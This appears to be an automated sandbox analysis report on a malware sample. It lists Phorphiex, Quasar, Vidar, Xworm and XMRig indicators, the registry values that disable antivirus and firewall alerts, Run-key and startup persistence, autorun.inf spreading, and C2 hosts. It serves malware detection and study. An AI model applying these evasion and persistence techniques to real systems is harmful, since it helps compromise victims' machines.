metasploit | acc68337ea679a47248a05b92f5e766f2a7899d023b455f13159e66afce27402

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysppvrdnvs.exe

Phorphiex family
phorphiex

Phorphiex payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0014000000023b35-219.dat	family_phorphiex
behavioral2/files/0x0012000000023b90-227.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023dcc-1172.dat	family_quasar
behavioral2/memory/5780-1179-0x0000000000460000-0x00000000004E4000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 4756 created 3524	4756	nxmr.exe	56
PID 4756 created 3524	4756	nxmr.exe	56
PID 6124 created 3524	6124	winupsecvmgr.exe	56
PID 6124 created 3524	6124	winupsecvmgr.exe	56
PID 6124 created 3524	6124	winupsecvmgr.exe	56

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe

Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 5 IoCs

miner

resource	yara_rule
behavioral2/memory/6124-407-0x00007FF77A0B0000-0x00007FF77A647000-memory.dmp	xmrig
behavioral2/memory/5848-433-0x00007FF6C8E10000-0x00007FF6C95FF000-memory.dmp	xmrig
behavioral2/memory/5848-435-0x00007FF6C8E10000-0x00007FF6C95FF000-memory.dmp	xmrig
behavioral2/memory/5848-438-0x00007FF6C8E10000-0x00007FF6C95FF000-memory.dmp	xmrig
behavioral2/memory/5848-599-0x00007FF6C8E10000-0x00007FF6C95FF000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2948	powershell.exe
2708	powershell.exe
5240	powershell.exe
2092	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
872	netsh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/5588-169-0x00000000006A0000-0x00000000020A8000-memory.dmp	net_reactor
behavioral2/memory/5588-170-0x00000000006A0000-0x00000000020A8000-memory.dmp	net_reactor
behavioral2/memory/5588-173-0x00000000006A0000-0x00000000020A8000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Updater.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	service.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	build_2024-07-25_20-56.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	sysvplervcs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	sysppvrdnvs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	SteamDetector.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows32.lnk	XClient.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\46422e05e6e5062fec6d0ab906669fb9.exe	SteamDetector.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\46422e05e6e5062fec6d0ab906669fb9.exe	SteamDetector.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windows32.lnk	XClient.exe

Executes dropped EXE 18 IoCs

pid	Process
3004	Updater.exe
3664	jet.exe
3536	test.exe
5588	explorer.exe
5672	build_2024-07-25_20-56.exe
6056	service.exe
5832	ZinTask.exe
2492	XClient.exe
6040	s.exe
5944	tpeinf.exe
4512	newtpp.exe
5148	SteamDetector.exe
2392	sysvplervcs.exe
4480	sysppvrdnvs.exe
4756	nxmr.exe
5744	SteamDetector.exe
6124	winupsecvmgr.exe
5808	rat.exe

Loads dropped DLL 2 IoCs

pid	Process
3664	jet.exe
3664	jet.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 14 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysppvrdnvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysppvrdnvs.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\46422e05e6e5062fec6d0ab906669fb9 = "\"C:\\Users\\Admin\\AppData\\Roaming\\SteamDetector.exe\" .."	SteamDetector.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe"	s.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysppvrdnvs.exe"	tpeinf.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\windows32 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\windows32.exe"	XClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\46422e05e6e5062fec6d0ab906669fb9 = "\"C:\\Users\\Admin\\AppData\\Roaming\\SteamDetector.exe\" .."	SteamDetector.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs

Web Service

T1102

flow	ioc
129	raw.githubusercontent.com
130	raw.githubusercontent.com
187	discord.com
189	discord.com
192	bitbucket.org
196	bitbucket.org
8	bitbucket.org
9	bitbucket.org

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
115	ip-api.com

Drops autorun.inf file 1 TTPs 5 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	SteamDetector.exe
File opened for modification	C:\autorun.inf	SteamDetector.exe
File created	D:\autorun.inf	SteamDetector.exe
File created	F:\autorun.inf	SteamDetector.exe
File opened for modification	F:\autorun.inf	SteamDetector.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
5588	explorer.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 6124 set thread context of 5760	6124	winupsecvmgr.exe	190
PID 6124 set thread context of 5848	6124	winupsecvmgr.exe	191

UPX packed file 35 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023d06-1160.dat	upx
behavioral2/memory/1208-1163-0x00007FFF5A040000-0x00007FFF5A705000-memory.dmp	upx
behavioral2/memory/1208-1164-0x00007FFF7D5F0000-0x00007FFF7D615000-memory.dmp	upx
behavioral2/memory/1208-1165-0x00007FFF7EDD0000-0x00007FFF7EDDF000-memory.dmp	upx
behavioral2/memory/1208-1166-0x00007FFF7BDD0000-0x00007FFF7BDEA000-memory.dmp	upx
behavioral2/memory/1208-1169-0x00007FFF76720000-0x00007FFF7674D000-memory.dmp	upx
behavioral2/memory/1208-1177-0x00007FFF796B0000-0x00007FFF796C9000-memory.dmp	upx
behavioral2/memory/1208-1178-0x00007FFF7ED70000-0x00007FFF7ED7D000-memory.dmp	upx
behavioral2/memory/1208-1181-0x00007FFF758B0000-0x00007FFF7597D000-memory.dmp	upx
behavioral2/memory/1208-1183-0x00007FFF58A60000-0x00007FFF58F89000-memory.dmp	upx
behavioral2/memory/1208-1180-0x00007FFF764D0000-0x00007FFF76503000-memory.dmp	upx
behavioral2/memory/1208-1184-0x00007FFF5A040000-0x00007FFF5A705000-memory.dmp	upx
behavioral2/memory/1208-1185-0x00007FFF77CB0000-0x00007FFF77CC6000-memory.dmp	upx
behavioral2/memory/1208-1192-0x00007FFF669B0000-0x00007FFF66ACB000-memory.dmp	upx
behavioral2/memory/1208-1191-0x00007FFF763B0000-0x00007FFF763C4000-memory.dmp	upx
behavioral2/memory/1208-1194-0x00007FFF65E60000-0x00007FFF65F31000-memory.dmp	upx
behavioral2/memory/1208-1193-0x00007FFF76380000-0x00007FFF763A2000-memory.dmp	upx
behavioral2/memory/1208-1190-0x00007FFF7EDD0000-0x00007FFF7EDDF000-memory.dmp	upx
behavioral2/memory/1208-1189-0x00007FFF763D0000-0x00007FFF763E4000-memory.dmp	upx
behavioral2/memory/1208-1188-0x00007FFF7ED50000-0x00007FFF7ED5D000-memory.dmp	upx
behavioral2/memory/1208-1187-0x00007FFF763F0000-0x00007FFF76402000-memory.dmp	upx
behavioral2/memory/1208-1186-0x00007FFF7D5F0000-0x00007FFF7D615000-memory.dmp	upx
behavioral2/memory/1208-1196-0x00007FFF76230000-0x00007FFF76269000-memory.dmp	upx
behavioral2/memory/1208-1199-0x00007FFF764D0000-0x00007FFF76503000-memory.dmp	upx
behavioral2/memory/1208-1204-0x00007FFF758B0000-0x00007FFF7597D000-memory.dmp	upx
behavioral2/memory/1208-1203-0x00007FFF66950000-0x00007FFF669AD000-memory.dmp	upx
behavioral2/memory/1208-1202-0x00007FFF76210000-0x00007FFF76221000-memory.dmp	upx
behavioral2/memory/1208-1216-0x00007FFF77CB0000-0x00007FFF77CC6000-memory.dmp	upx
behavioral2/memory/1208-1215-0x00007FFF75FE0000-0x00007FFF76007000-memory.dmp	upx
behavioral2/memory/1208-1214-0x00007FFF764C0000-0x00007FFF764CB000-memory.dmp	upx
behavioral2/memory/1208-1213-0x00007FFF76710000-0x00007FFF7671D000-memory.dmp	upx
behavioral2/memory/1208-1212-0x00007FFF58A60000-0x00007FFF58F89000-memory.dmp	upx
behavioral2/memory/1208-1201-0x00007FFF76010000-0x00007FFF76052000-memory.dmp	upx
behavioral2/memory/1208-1195-0x00007FFF76270000-0x00007FFF7629C000-memory.dmp	upx
behavioral2/memory/1208-1243-0x00007FFF669B0000-0x00007FFF66ACB000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\common files\microsoft shared\stationery\funletters\scenic\jet.htm	jet.exe
File opened for modification	\??\c:\program files\common files\microsoft shared\stationery\funletters\scenic\jet.jpg	jet.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\sysvplervcs.exe	s.exe
File opened for modification	C:\Windows\sysvplervcs.exe	s.exe
File created	C:\Windows\sysppvrdnvs.exe	tpeinf.exe
File opened for modification	C:\Windows\sysppvrdnvs.exe	tpeinf.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2876	sc.exe
4584	sc.exe
3908	sc.exe
5624	sc.exe
2384	sc.exe
5564	sc.exe
5548	sc.exe
2168	sc.exe
5140	sc.exe
3136	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 4 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000e000000023c7b-446.dat	pyinstaller
behavioral2/files/0x000e000000023c7b-449.dat	pyinstaller
behavioral2/files/0x000e000000023c7b-448.dat	pyinstaller
behavioral2/files/0x000e000000023c7b-1157.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Program crash 4 IoCs

pid	pid_target	Process	procid_target
1512	3536	WerFault.exe	105
6016	5588	WerFault.exe	130
208	5672	WerFault.exe	131
5804	5832	WerFault.exe	148

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	service.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SteamDetector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZinTask.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Updater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	build_2024-07-25_20-56.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	newtpp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpeinf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	s.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SteamDetector.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	test.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysvplervcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysppvrdnvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build_2024-07-25_20-56.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build_2024-07-25_20-56.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5116	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3044	schtasks.exe
1224	schtasks.exe
6104	schtasks.exe
788	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1548	msedge.exe
1548	msedge.exe
668	msedge.exe
668	msedge.exe
2952	identity_helper.exe
2952	identity_helper.exe
5672	build_2024-07-25_20-56.exe
5672	build_2024-07-25_20-56.exe
5672	build_2024-07-25_20-56.exe
5672	build_2024-07-25_20-56.exe
5672	build_2024-07-25_20-56.exe
5672	build_2024-07-25_20-56.exe
5240	powershell.exe
5240	powershell.exe
5240	powershell.exe
2092	powershell.exe
2092	powershell.exe
2092	powershell.exe
4756	nxmr.exe
4756	nxmr.exe
2948	powershell.exe
2948	powershell.exe
2948	powershell.exe
4756	nxmr.exe
4756	nxmr.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe
5744	SteamDetector.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5744	SteamDetector.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
4480	sysppvrdnvs.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4876	4363463463464363463463463.exe
Token: SeDebugPrivilege	5588	explorer.exe
Token: SeDebugPrivilege	2492	XClient.exe
Token: SeDebugPrivilege	5240	powershell.exe
Token: SeDebugPrivilege	2092	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeIncreaseQuotaPrivilege	2948	powershell.exe
Token: SeSecurityPrivilege	2948	powershell.exe
Token: SeTakeOwnershipPrivilege	2948	powershell.exe
Token: SeLoadDriverPrivilege	2948	powershell.exe
Token: SeSystemProfilePrivilege	2948	powershell.exe
Token: SeSystemtimePrivilege	2948	powershell.exe
Token: SeProfSingleProcessPrivilege	2948	powershell.exe
Token: SeIncBasePriorityPrivilege	2948	powershell.exe
Token: SeCreatePagefilePrivilege	2948	powershell.exe
Token: SeBackupPrivilege	2948	powershell.exe
Token: SeRestorePrivilege	2948	powershell.exe
Token: SeShutdownPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeSystemEnvironmentPrivilege	2948	powershell.exe
Token: SeRemoteShutdownPrivilege	2948	powershell.exe
Token: SeUndockPrivilege	2948	powershell.exe
Token: SeManageVolumePrivilege	2948	powershell.exe
Token: 33	2948	powershell.exe
Token: 34	2948	powershell.exe
Token: 35	2948	powershell.exe
Token: 36	2948	powershell.exe
Token: SeIncreaseQuotaPrivilege	2948	powershell.exe
Token: SeSecurityPrivilege	2948	powershell.exe
Token: SeTakeOwnershipPrivilege	2948	powershell.exe
Token: SeLoadDriverPrivilege	2948	powershell.exe
Token: SeSystemProfilePrivilege	2948	powershell.exe
Token: SeSystemtimePrivilege	2948	powershell.exe
Token: SeProfSingleProcessPrivilege	2948	powershell.exe
Token: SeIncBasePriorityPrivilege	2948	powershell.exe
Token: SeCreatePagefilePrivilege	2948	powershell.exe
Token: SeBackupPrivilege	2948	powershell.exe
Token: SeRestorePrivilege	2948	powershell.exe
Token: SeShutdownPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeSystemEnvironmentPrivilege	2948	powershell.exe
Token: SeRemoteShutdownPrivilege	2948	powershell.exe
Token: SeUndockPrivilege	2948	powershell.exe
Token: SeManageVolumePrivilege	2948	powershell.exe
Token: 33	2948	powershell.exe
Token: 34	2948	powershell.exe
Token: 35	2948	powershell.exe
Token: 36	2948	powershell.exe
Token: SeIncreaseQuotaPrivilege	2948	powershell.exe
Token: SeSecurityPrivilege	2948	powershell.exe
Token: SeTakeOwnershipPrivilege	2948	powershell.exe
Token: SeLoadDriverPrivilege	2948	powershell.exe
Token: SeSystemProfilePrivilege	2948	powershell.exe
Token: SeSystemtimePrivilege	2948	powershell.exe
Token: SeProfSingleProcessPrivilege	2948	powershell.exe
Token: SeIncBasePriorityPrivilege	2948	powershell.exe
Token: SeCreatePagefilePrivilege	2948	powershell.exe
Token: SeBackupPrivilege	2948	powershell.exe
Token: SeRestorePrivilege	2948	powershell.exe
Token: SeShutdownPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeSystemEnvironmentPrivilege	2948	powershell.exe
Token: SeRemoteShutdownPrivilege	2948	powershell.exe
Token: SeUndockPrivilege	2948	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe
5848	dwm.exe

Suspicious use of SendNotifyMessage 63 IoCs

pid	Process
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
668	msedge.exe
